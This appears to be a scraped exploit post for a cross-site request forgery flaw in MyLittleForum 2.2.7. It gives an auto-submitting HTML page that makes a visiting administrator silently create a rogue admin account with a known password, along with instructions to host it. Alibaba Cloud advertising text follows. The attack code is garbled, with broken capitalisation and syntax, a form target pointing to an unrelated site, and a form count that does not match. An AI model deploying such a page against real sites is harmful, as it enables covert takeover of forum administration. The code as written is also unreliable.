# All you have to do is save the below code as exploit.html
# Then Host a website with the exploit.html file. A person with admin permissions if visits the site,
# Will automatically creat user admin4 with password "newpassword" without warning ;)
____________________________________________________________________
____________________________________________________________________
Code:
<! Doctype html public "-// W3C // dtd html 4.01 Transitional // EN">
<Html>
<Head>
<Title> MyLittleForum 2.2.7 cms xsrf Vulnerability </title>
</Head>
<Body onload = "javascript: fireForms ()">
<Script language = "JavaScript">
Function fireForms ()
{
Var count = 2;
Var I = 0;
For (I = 0; I <count; I ++)
{
Document. forms [I]. submit ();
}
}
</Script>
<H2> MyLittleForum 2.2.7 cms xsrf Vulnerability </H2>
<Form method = "POST" name = "form0" action = "http://www.bkjia.com">
<Input type = "hidden" name = "mode" value = "admin"/>
<Input type = "hidden" name = "ar_username" value = "admin4"/>
<Input type = "hidden" name = "ar_email" value = "admin@admin.com"/>
<Input type = "hidden" name = "ar_pw" value = "newpassword"/>
<Input type = "hidden" name = "ar_pw_conf" value = "newpassword"/>
<Input type = "hidden" name = "register_submit" value = "OK"/>
</Form>
</Body>
</Html>
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
